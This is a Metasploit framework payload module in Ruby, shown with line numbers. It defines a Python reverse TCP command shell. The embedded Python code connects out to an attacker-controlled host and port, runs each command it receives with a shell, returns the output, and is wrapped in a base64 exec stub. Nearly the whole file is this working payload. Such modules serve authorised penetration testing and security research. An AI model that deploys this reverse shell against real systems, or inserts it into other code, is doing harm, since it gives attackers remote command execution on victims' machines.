1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
module MetasploitModule
7
  CachedSize = :dynamic
8

9
  include Msf::Payload::Single
10
  include Msf::Payload::Python
11
  include Msf::Sessions::CommandShellOptions
12

13
  def initialize(info = {})
14
    super(
15
      merge_info(
16
        info,
17
        'Name' => 'Command Shell, Reverse TCP (via python)',
18
        'Description' => 'Creates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.',
19
        'Author' => 'Ben Campbell', # Based on RageLtMan's reverse_ssl
20
        'License' => MSF_LICENSE,
21
        'Platform' => 'python',
22
        'Arch' => ARCH_PYTHON,
23
        'Handler' => Msf::Handler::ReverseTcp,
24
        'Session' => Msf::Sessions::CommandShell,
25
        'PayloadType' => 'python',
26
        'Payload' => {
27
          'Offsets' => {},
28
          'Payload' => ''
29
        }
30
      )
31
    )
32
  end
33

34
  #
35
  # Constructs the payload
36
  #
37
  def generate(_opts = {})
38
    super + command_string
39
  end
40

41
  #
42
  # Returns the command string to use for execution
43
  #
44
  def command_string
45
    cmd = <<~PYTHON
46
      import socket as s
47
      import subprocess as r
48
      so=s.socket(s.AF_INET,s.SOCK_STREAM)
49
      so.connect(('#{datastore['LHOST']}',#{datastore['LPORT']}))
50
      while True:
51
      	d=so.recv(1024)
52
      	if len(d)==0:
53
      		break
54
      	p=r.Popen(d.decode('utf-8'),shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE)
55
      	o=p.stdout.read()+p.stderr.read()
56
      	so.send(o)
57
    PYTHON
58

59
    py_create_exec_stub(cmd)
60
  end
61
end
62

63